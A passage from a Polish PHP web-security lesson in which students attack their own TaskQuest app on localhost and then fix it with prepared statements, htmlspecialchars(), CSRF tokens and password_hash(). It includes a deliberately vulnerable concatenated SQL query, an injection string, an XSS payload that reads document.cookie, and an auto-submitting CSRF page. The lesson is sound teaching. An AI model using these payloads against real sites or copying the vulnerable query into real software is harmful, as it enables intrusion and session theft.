<p><?= htmlspecialchars($error) ?></p>
<?php endforeach; ?>
</div>
<?php endif; ?>
<?php if ($attempts_left > 0 && $attempts_left < 5): ?>
<div class="warning">
Pozostało prób: <?= $attempts_left ?>
</div>
<?php endif; ?>
<form method="POST">
<input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrf_token) ?>">
<div class="form-group">
<label>Username:</label>
<input type="text"
name="username"
value="<?= htmlspecialchars($_POST['username'] ?? '') ?>"
required>
</div>
<div class="form-group">
<label>Hasło:</label>
<input type="password" name="password" required>
</div>
<button type="submit">Zaloguj się</button>
</form>
<div class="security-info">
<h3>Zabezpieczenia:</h3>
<ul>
<li>CSRF Protection</li>
<li>Rate Limiting (5 prób / 5 min)</li>
<li>Password Hashing (bcrypt)</li>
<li>Prepared Statements</li>
<li>XSS Protection</li>
<li>Session Security</li>
<li>Security Headers</li>
</ul>
</div>
</div>
</body>
</html>
Najważniejsze zasady
- NIE UFAJ DANOM OD UŻYTKOWNIKA – ZAWSZE waliduj i sanityzuj
- Prepared Statements – jedyna skuteczna ochrona przed SQL Injection
- htmlspecialchars() – ZAWSZE przy wyświetlaniu danych użytkownika
- password_hash() – NIGDY plain text haseł
- Tokeny CSRF – dla wszystkich formularzy zmieniających dane
- Security Headers – pierwsza linia obrony
- HTTPS – w produkcji ZAWSZE
- Rate Limiting – ochrona przed brute force
- Session Security – regeneruj ID, sprawdzaj fingerprint
- Keep it simple – prostszy kod = mniej błędów
TaskQuest 2.2 — konta z hasłem i obrona przed atakami
Po Lekcji 21 TaskQuest ma zadania w bazie, XP, serię dni i avatary. Działa, ale jest bardzo łatwy do oszukania. Każdy, kto zna login Kama_2026, wchodzi na konto Kamy bez hasła. Tytuł zadania może być kodem, który wykona się w przeglądarce. Obca strona internetowa może „kliknąć” za gracza przycisk „Usuń”.
Dziś wejdziesz w rolę atakującego i spróbujesz przełamać własną aplikację. Każdy udany atak od razu naprawisz. Na koniec TaskQuest dostanie prawdziwe konta: rejestrację i logowanie z hasłem.
Lekcja 20 jest w tym kursie pomijana. Pracujesz na projekcie w stanie po Lekcji 21.
Cel lekcji
Nauczyć się:
- rozpoznawać SQL injection i sprawdzać, czy aplikacja jest na nie odporna,
- rozpoznawać XSS i bronić się przed nim funkcją
htmlspecialchars(), - rozpoznawać CSRF i bronić się przed nim tokenem w formularzu (
random_bytes(),bin2hex(),hash_equals()), - bezpiecznie przechowywać hasła (
password_hash(),password_verify()), - blokować wykonywanie skryptów w katalogu z plikami od użytkowników (
.htaccess).
Efekt: nowa strona rejestracja.php, logowanie z hasłem, każdy formularz POST z tokenem, wszystkie dane od użytkownika wyświetlane jako zwykły tekst, katalog avatarów zabezpieczony po stronie serwera.
Uwaga — co jest, a czego jeszcze nie ma:
- Komunikaty błędów
mysqlinadal trafiają do użytkownika (np. nazwy kolumn). Ukryjemy je i zapiszemy do logu w Lekcji 23 (debugowanie i obsługa błędów).- Ograniczanie liczby prób logowania, nagłówki bezpieczeństwa, HTTPS i flagi ciasteczka sesji omawiamy tylko krótko w sekcji 3. Część z nich jest w zadaniach końcowych.
diagnostyka.phpnadal jest publiczna. To narzędzie dla programisty, na serwerze produkcyjnym się go nie zostawia.
Rozgrzewka — 4 pytania z Lekcji 21
- Dlaczego TaskQuest nie sprawdza formatu pliku po kluczu
$_FILES['avatar']['type']? - Avatar Kamy zapisujemy jako
avatar_1_<czas>.png, a nie pod nazwą, którą przysłała przeglądarka. Podaj jeden powód związany z bezpieczeństwem. - Co sprawdza
getimagesize(), a czego nie sprawdza? - Formularz avatara ma
accept=".jpg,.jpeg,.png,.webp". Czy to chroni aplikację? Dlaczego?
1. Wracamy do naszego TaskQuest
Co zostaje, co dochodzi, co zmieniamy
| Element | Po Lekcji 21 | Po Lekcji 22 |
|---|---|---|
| zapytania SQL | wyłącznie prepared statements | bez zmian — sprawdzimy, że to wystarcza |
| wyświetlanie danych | tekst od użytkownika trafia do HTML bez zmian | zmiana: htmlspecialchars() przy wyświetlaniu |
includes/funkcje_sesji.php | 4 funkcje | dochodzą pobierzTokenCsrf(), sprawdzTokenCsrf() |
| formularze POST (7 rodzajów) | bez zabezpieczenia | dochodzi ukryte pole token_csrf |
| strony przyjmujące POST | sprawdzają metodę | dochodzi sprawdzenie tokenu |
kolumna uzytkownicy.haslo_hash | NULL u wszystkich | zmiana: NOT NULL, hash hasła |
includes/funkcje_tekstowe.php | walidujDaneLogowania($login) | zmiana: walidujDaneLogowania($login, $haslo); dochodzi walidujDaneRejestracji() |
includes/funkcje_bazy.php | 11 funkcji | dochodzą pobierzDaneLogowania(), dodajUzytkownika() |
zaloguj.php | sam login | zmiana: login + hasło, wspólny komunikat błędu |
rejestracja.php | nie ma | nowy plik |
uploads/avatary/.htaccess | nie ma | nowy plik: zakaz wykonywania PHP |
| zadania, „Zrobione!”, usuwanie, avatar, ranking | działają | działają tak samo (dochodzi tylko token i escapowanie) |
Docelowa struktura projektu
taskquest/
├── index.php (zmiana: escapowanie, token w 3 formularzach)
├── rejestracja.php NOWY
├── zaloguj.php (zmiana: hasło, token, link do rejestracji)
├── wyloguj.php (zmiana: sprawdzenie tokenu)
├── dodaj-zadanie.php (zmiana: token, escapowanie)
├── oznacz-wykonane.php (zmiana: sprawdzenie tokenu, escapowanie)
├── usun-zadanie.php (zmiana: sprawdzenie tokenu, escapowanie)
├── profil.php (zmiana: token, escapowanie)
├── diagnostyka.php (zmiana: 23 ścieżki)
├── classes/ bez zmian
├── config/config.php bez zmian
├── includes/
│ ├── footer.php (zmiana: „TaskQuest 2.2”)
│ ├── funkcje_sesji.php (zmiana: funkcje tokenu)
│ ├── funkcje_tekstowe.php (zmiana: walidacja logowania i rejestracji)
│ ├── funkcje_bazy.php (zmiana: 2 nowe funkcje)
│ └── ... pozostałe bez zmian
├── sql/taskquest.sql (zmiana: haslo_hash NOT NULL, hashe kont testowych)
└── uploads/avatary/
└── .htaccess NOWY
Przygotowanie (zrób to teraz)
- Zrób kopię zapasową katalogu
taskquest/jakotaskquest_lekcja21/(obok, nie w środku). - Uruchom w XAMPP Apache i MySQL.
- Przygotuj dwie przeglądarki, np. Chrome i Firefox. Do ataku CSRF (sekcja 5) będzie potrzebny Firefox. Wyjaśnienie znajdziesz w sekcji 5.
- Zaloguj się jako Kama i sprawdź, że lista zadań, „Zrobione!”, „Usuń” i avatar działają.
2. Problem w aplikacji
Wyobraź sobie, że TaskQuest trafia do całej szkoły. Oto cztery rzeczy, które ktoś może zrobić już dziś:
- Wejść na cudze konto. Wystarczy wpisać login
Kama_2026. Loginy widać w rankingu. - Wstrzyknąć kod do strony. Tytuł zadania
<b>PHP</b>wyświetla się pogrubiony (Eksperyment 5 z Lekcji 13). Skoro przechodzi<b>, przejdzie też<script>. - Kazać przeglądarce gracza wysłać formularz. Obca strona może wysłać do TaskQuest formularz „Usuń”. Przeglądarka dołączy do niego ciasteczko sesji gracza, a TaskQuest uzna, że to on kliknął.
- Podrzucić skrypt do katalogu avatarów. Walidacja w
profil.phpna to nie pozwala, ale plik może trafić douploads/inną drogą, np. przez błąd w kodzie.
Plan lekcji:
SQL injection → sprawdzamy, że TaskQuest jest odporny (bez zmian w kodzie)
XSS → htmlspecialchars() przy wyświetlaniu
CSRF → token w każdym formularzu POST
konta z hasłem → password_hash(), password_verify(), rejestracja
katalog uploads → .htaccess
Kolejność nie jest przypadkowa. Najpierw zabezpieczasz formularze, które już istnieją. Nowy formularz rejestracji napiszesz na końcu, od razu bezpiecznie.
3. Atak 1: SQL injection
3.1 Na czym polega atak
SQL injection (wstrzyknięcie SQL) zdarza się, gdy program skleja zapytanie z tekstem od użytkownika. Wtedy użytkownik może wpisać nie tylko dane, ale też fragment polecenia SQL.
Sprawdź to w brudnopisie. Utwórz w katalogu projektu plik brudnopis.php:
<?php
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';
$polaczenie = polaczZBaza();
$login = "' OR '1'='1"; // „login” wpisany przez atakującego
// ŹLE: dane sklejone z zapytaniem
$sql = "SELECT id, login FROM uzytkownicy WHERE login = '$login'";
echo '<p>Zapytanie: ' . $sql . '</p>';
$wynik = $polaczenie->query($sql);
$wiersz = $wynik->fetch_assoc();
if ($wiersz === null) {
echo '<p>Nie znaleziono nikogo.</p>';
} else {
echo '<p>Znaleziono: ' . $wiersz['login'] . '</p>';
}
Otwórz http://localhost/taskquest/brudnopis.php. Zobaczysz zapytanie:
SELECT id, login FROM uzytkownicy WHERE login = '' OR '1'='1'
Apostrof z „loginu” zamknął tekst w SQL, a reszta stała się warunkiem. '1'='1' jest zawsze prawdą, więc zapytanie zwraca wszystkich użytkowników, a program bierze pierwszego, czyli Kamę. Gdyby tak działało logowanie, atakujący wszedłby na konto Kamy bez znajomości loginu i hasła.
$polaczenie->query()wykonuje zapytanie bez prepared statement. W TaskQuest go nie używamy. Tutaj pojawia się wyłącznie po to, żeby pokazać atak.
3.2 SAMODZIELNIE
Pod kodem z 3.1 dopisz w brudnopisie to samo wyszukiwanie napisane tak jak w TaskQuest: przez prepared statement, z tym samym $login. Wypisz „Znaleziono: …” albo „Nie znaleziono nikogo.”
Oczekiwany wynik: wersja sklejana znajduje Kamę, a prepared statement nie znajduje nikogo.
HINT
Schemat znasz z Lekcji 18: prepare() ze znakiem ?, potem bind_param(), execute(), get_result().
POMOC
$zapytanie = $polaczenie->prepare('SELECT id, login FROM uzytkownicy WHERE login = ?');
$zapytanie->bind_param(...);
// ...
ROZWIĄZANIE
$zapytanie = $polaczenie->prepare('SELECT id, login FROM uzytkownicy WHERE login = ?');
$zapytanie->bind_param('s', $login);
$zapytanie->execute();
$wiersz = $zapytanie->get_result()->fetch_assoc();
if ($wiersz === null) {
echo '<p>Prepared statement: nie znaleziono nikogo.</p>';
} else {
echo '<p>Prepared statement: znaleziono ' . $wiersz['login'] . '</p>';
}
Dlaczego to działa? Przy prepared statement baza najpierw dostaje samo polecenie z ?, a dane przychodzą osobno. Baza wie, że wszystko w ? to wartość, a nie fragment polecenia. Dlatego szuka użytkownika o loginie dosłownie ' OR '1'='1. Takiego nie ma.
Sprawdź jeszcze w wersji sklejanej login Kama_2026' -- (ze spacją na końcu). -- rozpoczyna w SQL komentarz, więc reszta zapytania zostaje wyłączona.
3.3 Audyt TaskQuest
Od tego miejsca pracujesz w projekcie (brudnopis zostaw, przyda się w sekcji 6).
W VS Code otwórz wyszukiwanie we wszystkich plikach (Ctrl+Shift+F) i sprawdź:
->query(— pozabrudnopis.phpnie powinno być ani jednego wyniku.prepare(— obejrzyj każde zapytanie. Czy w tekście SQL jest gdziekolwiek zmienna ($...)? Nie powinno jej być. Dane mogą trafiać do zapytania wyłącznie przez?ibind_param().
Jeśli wszystko się zgadza, TaskQuest jest odporny na SQL injection od Lekcji 18 i nic nie zmieniasz. Wniosek na przyszłość: jedna sklejona linijka wystarczy, żeby ochrona przestała działać. Dlatego reguła z L18 (każde zapytanie przez prepared statement, także takie, w którym „dane są przecież bezpieczne”) nie ma wyjątków.
Materiał źródłowy pokazuje też ataki typu
'; DROP TABLE users; --. Metodaquery()wmysqliwykonuje tylko jedno polecenie, więc ten atak w naszej wersji skończy się błędem składni. Nie traktuj tego jako ochrony: inne funkcje i sterowniki potrafią wykonać kilka poleceń naraz.
3.4 Czego dziś nie robimy (krótko)
Materiał źródłowy opisuje jeszcze kilka zabezpieczeń. W tej lekcji tylko je nazywamy:
- ograniczanie prób logowania (rate limiting), czyli blokada po kilku nieudanych próbach — zadanie końcowe C,
- nagłówki bezpieczeństwa, np.
X-Frame-Options,X-Content-Type-Options— zadanie końcowe D, - flagi ciasteczka sesji
HttpOnlyiSameSite— zadanie końcowe B, - HTTPS — szyfrowanie połączenia ustawia się na serwerze, nie w kodzie PHP. XAMPP na lekcji działa bez niego. Bez HTTPS hasło z formularza leci przez sieć jawnym tekstem.
4. Atak 2: XSS
4.1 Na czym polega atak
XSS (cross-site scripting) zdarza się, gdy tekst od użytkownika trafia do HTML bez zmian. Przeglądarka nie wie, że to „tylko tytuł zadania”. Jeśli tekst wygląda jak znacznik, wykona go jak znacznik.
Zaatakuj TaskQuest. Na koncie Kamy dodaj zadanie o tytule:
<img src="x" onerror="alert(document.cookie)">
Termin dowolny, XP 10. Po powrocie na listę wyskoczy okienko z tekstem PHPSESSID=.... To identyfikator Twojej sesji, czyli dokładnie to, co w Eksperymencie 5 Lekcji 14 skopiowałaś/skopiowałeś do innej przeglądarki, żeby przejąć sesję. Tu skrypt tylko pokazał go w okienku. Prawdziwy atakujący wysłałby go na swój serwer.
Obrazek
xnie istnieje, więc przeglądarka wywołujeonerror, czyli kod JavaScript. Samo<script>w tytule też zadziała, ale wariant z<img>jest krótszy i działa w większej liczbie miejsc.
„Przecież to moje zadanie, sama/sam sobie szkodzę” — na razie tak. W sekcji 5 zobaczysz, jak obca strona wstawia takie zadanie na listę innego gracza.
Usuń to zadanie przyciskiem „Usuń”.
4.2 Nowy mechanizm: htmlspecialchars()
htmlspecialchars() zamienia znaki, które mają w HTML specjalne znaczenie, na encje, czyli zapis „pokaż ten znak jako tekst”:
| Znak | Encja |
|---|---|
< | < |
> | > |
& | & |
" | " |
' | ' |
W brudnopisie brudnopis2.php:
<?php
$tytul = "<b>PHP</b> i \"cudzysłów\"";
echo '<p>Bez ochrony: ' . $tytul . '</p>';
echo '<p>Z ochroną: ' . htmlspecialchars($tytul) . '</p>';
W przeglądarce pierwszy tytuł jest pogrubiony, a drugi wyświetla się dosłownie ze znacznikami. Włącz „Pokaż źródło strony” (Ctrl+U) i zobacz, co naprawdę wysłał PHP: <b>PHP</b>.
Od PHP 8.1 samo htmlspecialchars($tekst) zamienia oba rodzaje cudzysłowów i poprawnie traktuje polskie znaki (UTF-8). Dodatkowe parametry, które widać w starszych materiałach (ENT_QUOTES, 'UTF-8'), nie są już potrzebne.
Reguła TaskQuest
Każdy tekst, który trafia do HTML, a nie został w całości napisany w naszym kodzie (przyszedł z formularza, bazy, ciasteczka, adresu albo z komunikatu wyjątku), przepuszczamy przez
htmlspecialchars()w momencie wyświetlania.
Z tej reguły wynikają trzy rzeczy:
- Nie escapujemy liczb typu
int(id, XP, streak, poziom) ani tekstów wpisanych w kod ($nazwaStrony, komunikaty zustawKomunikat(), komunikaty zwalidujNoweZadanie()). - Nie escapujemy przed zapisem do bazy. Baza przechowuje to, co wpisał gracz. Escapowanie to sprawa HTML, a te same dane mogą kiedyś trafić gdzie indziej (np. do pliku CSV albo aplikacji mobilnej). Co się dzieje, gdy escapuje się dwa razy, pokaże Eksperyment 3.
- Escapujemy na samym końcu, po wszystkich innych zmianach tekstu (
wyczyscTytul(),skrocOpis(),mb_substr()). Dlaczego kolejność ma znaczenie, pokaże Eksperyment 2.
Typowe błędy
- Escapowanie w getterze (
pobierzTytul()zwraca już<...) — obiekt przestaje przechowywać prawdziwe dane, a każde inne użycie (porównanie, długość, zapis) dostaje encje. - Escapowanie tylko treści między znacznikami, a pominięcie atrybutów
value="...". Cudzysłów w danych „urywa” atrybut (Eksperyment 5 z L13). - Założenie, że skoro login przeszedł
walidujLogin(), to każdy login w bazie jest bezpieczny. Do bazy można wpisać dane z pominięciem formularza (phpMyAdmin, inny program, przyszły błąd). Escapowanie przy wyświetlaniu nic nie kosztuje.
4.3 SAMODZIELNIE — audyt wyświetlania
W plikach index.php, dodaj-zadanie.php, zaloguj.php, profil.php, oznacz-wykonane.php, usun-zadanie.php znajdź każde miejsce, w którym do HTML trafia wartość. Przy każdym zdecyduj, czy wymaga htmlspecialchars(), i popraw te, które wymagają.
Sposób sprawdzenia: dodaj zadanie z tytułem <img src="x" onerror="alert(1)"> i opisem <b>pogrubione?</b>. Na liście nie wyskakuje okienko, a tytuł i opis widać dosłownie ze znacznikami. Działa też „najpilniejsze zadanie”.
HINT
Szukaj <?= i echo. Przy każdym zadaj pytanie: „czy tę wartość w całości napisałam/napisałem w kodzie? Czy to na pewno int?”. W index.php jest takich miejsc ponad 10 (łącznie z rankingiem, powitaniem i literą avatara). Nie zapomnij o atrybutach value i o <textarea> w dodaj-zadanie.php.
POMOC
Wywołanie obejmuje wynik wszystkich innych funkcji:
<?= htmlspecialchars(skrocOpis($zadanie->pobierzOpis())); ?>
Komunikat wyjątku też jest tekstem spoza kodu. Może zawierać fragment danych albo zapytania:
<?= htmlspecialchars($bladZapisu); ?>
ROZWIĄZANIE
| Plik | Miejsce | Escapujemy? |
|---|---|---|
index.php | ramka awarii bazy: $bladBazy | tak |
index.php | litera avatara: mb_substr($uzytkownik->pobierzImie(), 0, 1) | tak (cały wynik mb_substr) |
index.php | src avatara: KATALOG_AVATAROW . '/' . $uzytkownik->pobierzAvatar() | tak (nazwa pliku pochodzi z bazy) |
index.php | „Witaj, …!”: $uzytkownik->pobierzImie() | tak |
index.php | „Zalogowano jako …”: $uzytkownik->pobierzLogin() | tak |
index.php | tytuł najpilniejszego zadania | tak (po wyczyscTytul()) |
index.php | w pętli listy: $tytulCzysty, skrócony opis, termin | tak (tytuł i opis po czyszczeniu i skracaniu) |
index.php | ranking: $gracz['login'] | tak |
index.php | $komunikat, $filtr, XP, poziom, streak, id w ukrytych polach, $liczba..., komunikat terminu | nie — tekst z kodu, wartość zawężona do listy albo int |
dodaj-zadanie.php | value tytułu, value terminu, value XP, treść <textarea> | tak (to tekst wpisany przez użytkownika, jeszcze przed walidacją) |
dodaj-zadanie.php | $bladZapisu | tak |
dodaj-zadanie.php | $blad w liście błędów | nie — komunikaty z walidujNoweZadanie() są wpisane w kod |
zaloguj.php | value loginu, $bladBazy | tak |
profil.php | $bladZapisu | tak |
oznacz-wykonane.php, usun-zadanie.php | komunikat wyjątku w ramce awarii | tak |
Przykład dla dodaj-zadanie.php (atrybut value):
<input type="text" id="tytul" name="tytul" maxlength="100" value="<?= htmlspecialchars($tytulZadania); ?>" required>
Przykład dla pętli listy w index.php: w miejscu, w którym wyświetlasz $tytulCzysty, zamień <?= $tytulCzysty; ?> na <?= htmlspecialchars($tytulCzysty); ?>. Termin ($zadanie->pobierzTermin()) formalnie nie wymaga escapowania, bo kolumna DATE przechowuje tylko cyfry i myślniki (pytanie kontrolne 3). Escapujemy go mimo to, żeby w pętli listy nie było wyjątków od reguły.
$zadanie->pobierzTytul()nadal zwraca surowy tytuł. Zmieniło się tylko to, jak go wyświetlamy.
5. Atak 3: CSRF
5.1 Na czym polega atak
CSRF (cross-site request forgery) to podrobione żądanie z innej strony. Przeglądarka dołącza ciasteczka TaskQuest do każdego żądania wysłanego do TaskQuest, także takiego, które wysłała cudza strona. PHP widzi poprawną sesję Kamy i wykonuje polecenie, choć Kama niczego nie kliknęła.
Właśnie dlatego od Lekcji 13 zmiany danych wykonujemy wyłącznie przez POST. Link GET (usun-zadanie.php?id=5) dałoby się uruchomić nawet obrazkiem na forum. POST wymaga formularza, ale formularz też można podrobić.
Zaatakuj TaskQuest. Utwórz plik atak.html poza katalogiem htdocs, np. na pulpicie. To „obca strona”, np. link wysłany graczowi z obietnicą darmowych punktów:
<!DOCTYPE html>
<html lang="pl">
<head>
<meta charset="UTF-8">
<title>Darmowe XP!</title>
</head>
<body>
<h1>Odbierz darmowe 1000 XP!</h1>
<form id="atak" method="post" action="http://localhost/taskquest/dodaj-zadanie.php">
<input type="hidden" name="tytul" value='<img src="x" onerror="alert(document.cookie)">'>
<input type="hidden" name="opis" value="">
<input type="hidden" name="termin" value="2026-12-31">
<input type="hidden" name="xp" value="100">
</form>
<script>
document.getElementById('atak').submit();
</script>
</body>
</html>
(Jeśli Twój projekt leży pod innym adresem niż localhost/taskquest, popraw action.)
- W Firefoksie zaloguj się jako Kama.
- W tym samym Firefoksie otwórz
atak.html(przeciągnij plik do okna przeglądarki). - Strona sama wysyła formularz. Lądujesz na liście zadań Kamy, a na liście jest nowe zadanie, którego Kama nie dodawała.
Tytuł zadania to kod ataku XSS. Po naprawie z sekcji 4 wyświetla się jako zwykły tekst. Bez tej naprawy w tym momencie wyskoczyłoby okienko z ciasteczkiem sesji Kamy: obca strona wstawia skrypt, a skrypt wykrada sesję. Tak łączą się oba ataki.
Usuń podrzucone zadanie.
Dlaczego Firefox? Chrome i Edge traktują ciasteczko bez ustawienia
SameSitetak, jakby miałoSameSite=Lax. Takie ciasteczko nie jest dołączane do formularza POST wysłanego z innej strony, z jednym wyjątkiem: przez 2 minuty od ustawienia ciasteczka. W Chrome atak zadziała więc tylko tuż po zalogowaniu. Firefox i Safari domyślnie tak nie robią. Zachowanie przeglądarek się zmienia, a starsze przeglądarki nie mają tej ochrony wcale. Dlatego aplikacja nie może na nią liczyć i musi bronić się sama.
5.2 Nowy mechanizm: token CSRF
Pomysł jest prosty. Przy każdym formularzu TaskQuest dołącza ukryte pole z losowym, długim tekstem: tokenem. Ten sam token jest zapisany w sesji gracza. Po wysłaniu formularza PHP porównuje oba. Zgadzają się, więc formularz pochodzi z TaskQuest. Nie zgadzają się albo tokenu nie ma, więc formularz jest odrzucany.
Obca strona nie zna tokenu. Nie może go odgadnąć, bo jest losowy i długi. Nie może też go odczytać, bo przeglądarka nie pozwala skryptom jednej strony czytać zawartości innej strony (zasada tego samego pochodzenia, same-origin policy).
Potrzebne funkcje (brudnopis brudnopis2.php, pod poprzednim kodem):
$token = bin2hex(random_bytes(32));
echo '<p>Token: ' . $token . '</p>';
var_dump(hash_equals($token, $token));
var_dump(hash_equals($token, 'zgaduje'));
random_bytes(32)zwraca 32 losowe bajty z generatora przeznaczonego do zabezpieczeń.rand(),mt_rand()czyuniqid()się do tego nie nadają, bo ich wyniki da się przewidzieć.bin2hex()zamienia bajty na tekst z cyframi0–9i literamia–f. 32 bajty dają 64 znaki. Taki tekst bezpiecznie wstawisz do HTML, nawet bezhtmlspecialchars().hash_equals($znany, $podany)porównuje dwa teksty. Działa jak===, ale zawsze sprawdza wszystkie znaki.===kończy przy pierwszej różnicy, więc z czasu odpowiedzi dałoby się zgadywać token znak po znaku.
Odśwież brudnopis kilka razy. Token za każdym razem jest inny.
Decyzja TaskQuest: jeden token na sesję. Powstaje przy pierwszym formularzu i obowiązuje do wylogowania. Token osobny dla każdego formularza jest trochę bezpieczniejszy, ale psuje pracę w kilku kartach naraz.
5.3 SAMODZIELNIE — funkcje tokenu
Na końcu pliku includes/funkcje_sesji.php dopisz dwie funkcje:
pobierzTokenCsrf(): string— jeśli w sesji nie ma jeszcze klucza'token_csrf', zapisuje tam nowy token (64 znaki, jak w brudnopisie). Zwraca token z sesji.sprawdzTokenCsrf(): bool— odczytuje$_POST['token_csrf'](brak pola traktuje jak pusty tekst). Zwracatruetylko wtedy, gdy w sesji jest token i jest on równy tokenowi z formularza.
Tak jak pozostałe funkcje w tym pliku, obie korzystają z $_SESSION, ale jej nie uruchamiają.
Sprawdź w brudnopisie (z session_start() na początku i require_once pliku funkcje_sesji.php):
| Sytuacja | Oczekiwany wynik sprawdzTokenCsrf() |
|---|---|
brak tokenu w sesji, brak pola w $_POST | false |
$_POST['token_csrf'] = pobierzTokenCsrf(); | true |
$_POST['token_csrf'] = 'abc'; | false |
HINT
Pułapka jest w pierwszej sytuacji. W sesji nie ma tokenu (np. sesja wygasła), więc $_SESSION['token_csrf'] nie istnieje. PHP wypisze ostrzeżenie, a hash_equals() dostanie null i przerwie skrypt błędem TypeError. Samo porównanie nie wystarczy. Najpierw sprawdź, czy token w sesji w ogóle istnieje (isset()).
POMOC
function sprawdzTokenCsrf(): bool
{
$tokenZFormularza = $_POST['token_csrf'] ?? '';
if (/* w sesji nie ma tokenu */ || !is_string($tokenZFormularza)) {
return false;
}
return hash_equals(...);
}
is_string() chroni przed przesłaniem pola jako tablicy (token_csrf[]=...). hash_equals() dostałaby wtedy tablicę i przerwałaby skrypt błędem TypeError.
ROZWIĄZANIE
function pobierzTokenCsrf(): string
{
if (!isset($_SESSION['token_csrf'])) {
$_SESSION['token_csrf'] = bin2hex(random_bytes(32));
}
return $_SESSION['token_csrf'];
}
function sprawdzTokenCsrf(): bool
{
$tokenZFormularza = $_POST['token_csrf'] ?? '';
if (!isset($_SESSION['token_csrf']) || !is_string($tokenZFormularza)) {
return false;
}
return hash_equals($_SESSION['token_csrf'], $tokenZFormularza);
}
5.4 Włączamy token do TaskQuest
Krok 1 — token w formularzach
Na każdej stronie z formularzem POST, tuż przed linią $nazwaStrony = ..., dodaj:
$tokenCsrf = pobierzTokenCsrf();
W index.php wstaw tę linię pod blokiem komunikatu jednorazowego ($komunikat = pobierzKomunikat();), z komentarzem // --- token CSRF do formularzy na stronie ---.
Następnie w każdym formularzu POST, zaraz po otwierającym <form ...>, dodaj ukryte pole token_csrf z wartością $tokenCsrf (wzór ukrytego pola znasz z przycisków „Zrobione!” i „Usuń”):
| Plik | Formularze |
|---|---|
index.php | „Zrobione!”, „Usuń” (w pętli, przy każdym zadaniu), „Wyloguj” |
dodaj-zadanie.php | formularz nowego zadania |
profil.php | formularz avatara |
zaloguj.php | zrobisz w sekcji 6 |
Sprawdzenie: na liście zadań otwórz źródło strony (Ctrl+U). Każdy formularz ma pole token_csrf i ta sama wartość powtarza się we wszystkich.
Krok 2 — sprawdzanie tokenu
Są dwa rodzaje stron przyjmujących POST, więc są dwa sposoby reagowania na zły token.
Strona z formularzem (dodaj-zadanie.php, później zaloguj.php i rejestracja.php) pokazuje formularz jeszcze raz z komunikatem na liście $bledy. W bloku if ($_SERVER['REQUEST_METHOD'] === 'POST'), po odczycie pól, linię z walidacją ($bledy = walidujNoweZadanie(...);) umieść w gałęzi else:
jeśli token jest zły → do $bledy dopisz 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.'
w przeciwnym razie → dotychczasowa walidacja
Dalsza część (if ($bledy === []) { ... zapis ... }) zostaje bez zmian. Pola zachowują wpisane dane, więc gracz musi tylko kliknąć jeszcze raz.
Strona akcji (oznacz-wykonane.php, usun-zadanie.php) nie ma HTML. Zaraz po sprawdzeniu, że metoda to POST, a przed odczytem id, dodaj:
jeśli token jest zły → ustawKomunikat('Nie udało się wykonać akcji. Spróbuj jeszcze raz.'),
przekierowanie na index.php, exit
Najpierw token, dopiero potem dane z formularza. Żądanie spoza TaskQuest odrzucamy, zanim cokolwiek z nim zrobimy.
wyloguj.php — to też strona akcji, ale do tej pory nie dołączała żadnego pliku. Dodaj pod session_start(); dołączenie includes/funkcje_sesji.php. Przy złym tokenie przekieruj na index.php bez wylogowania i bez komunikatu.
profil.php — uwaga na kolejność. Gdy plik przekroczy post_max_size, PHP odrzuca całe żądanie: puste jest wtedy nie tylko $_FILES, ale też $_POST, więc tokenu też nie ma. Gdyby token był sprawdzany jako pierwszy, gracz z za dużym plikiem zobaczyłby mylący komunikat o wygasłym formularzu. Kolejność w profil.php:
$plik === null → 'Plik jest za duży albo nie został wysłany.' (jak w L21)
w przeciwnym razie, jeśli token jest zły → komunikat o wygasłym formularzu
w przeciwnym razie → walidujAvatar($plik)
Pełne wersje: sekcja 11 (wyloguj.php i profil.php w całości, pozostałe pliki opisane miejscami zmian).
Krok 3 — sprawdzenie
- Normalna praca: dodaj zadanie, oznacz je jako zrobione, usuń je, zmień avatar, wyloguj się i zaloguj ponownie (logowanie jeszcze bez tokenu). Wszystko działa jak przed lekcją.
- Atak: zaloguj się w Firefoksie jako Kama i otwórz
atak.html. Tym razem widzisz formularz „Nowe zadanie” z komunikatem „Formularz wygasł albo nie pochodzi z TaskQuest…”. Zadanie nie zostało dodane.
Dodatkowy efekt: token obowiązuje tylko w jednej sesji. Formularz otwarty przed wylogowaniem i wysłany po ponownym zalogowaniu też zostanie odrzucony. To zamierzone.
6. Atak 4: wejście na cudze konto — hasła
6.1 Problem
Logowanie od Lekcji 14 jest demonstracyjne. Wystarczy znać login, a loginy są widoczne w rankingu. Tabela uzytkownicy od Lekcji 17 ma kolumnę haslo_hash, ale u wszystkich jest w niej NULL.
Nazwa kolumny nie jest przypadkowa. Nie zapisujemy hasła, tylko jego skrót (hash). Gdyby baza wyciekła (kopia zapasowa, błąd, nieuczciwy administrator), atakujący dostałby gotowe hasła. Ludzie często używają jednego hasła w wielu serwisach, więc wyciek z TaskQuest otworzyłby też ich pocztę.
Hash to wynik funkcji jednokierunkowej. Z hasła łatwo policzyć hash, ale z hasha nie da się odtworzyć hasła. Przy logowaniu nie odszyfrowujemy niczego. Liczymy hash z wpisanego hasła i porównujemy.
6.2 Nowy mechanizm: password_hash() i password_verify()
W brudnopis.php, pod kodem z sekcji 3, dopisz:
echo '<h2>Hasła</h2>';
echo '<p>md5: ' . md5('haslo123') . '</p>';
echo '<p>md5: ' . md5('haslo123') . '</p>';
echo '<p>password_hash: ' . password_hash('haslo123', PASSWORD_DEFAULT) . '</p>';
echo '<p>password_hash: ' . password_hash('haslo123', PASSWORD_DEFAULT) . '</p>';
Porównaj wyniki:
md5()daje za każdym razem ten sam skrót. Te same hasła w bazie mają więc te same skróty. Popularne hasła mają gotowe skróty w publicznych tabelach, a do tego md5 liczy się bardzo szybko: komputer sprawdza miliony prób na sekundę.md5()isha1()nie nadają się do haseł.password_hash()daje za każdym razem inny wynik. Do hasła dokleja losową sól (salt), więc dwa identyczne hasła mają różne hashe. Algorytm jest też celowo wolny.
Budowa wyniku password_hash():
$2y$10$TvnmsPnl0sMZ9thSeswJXO0X0GJHKfBLmJW7.W9FQ0JSnLVq0tEGy
└┬┘└┬┘└─────────┬────────────┘└──────────────┬──────────────┘
│ │ sól (22 znaki) właściwy hash (31 znaków)
│ koszt (10 = 2^10 powtórzeń; w PHP 8.4 domyślnie 12)
algorytm (2y = bcrypt)
Wszystko, czego potrzeba do sprawdzenia hasła, jest zapisane w tym jednym tekście. Dlatego password_verify() potrzebuje tylko dwóch rzeczy:
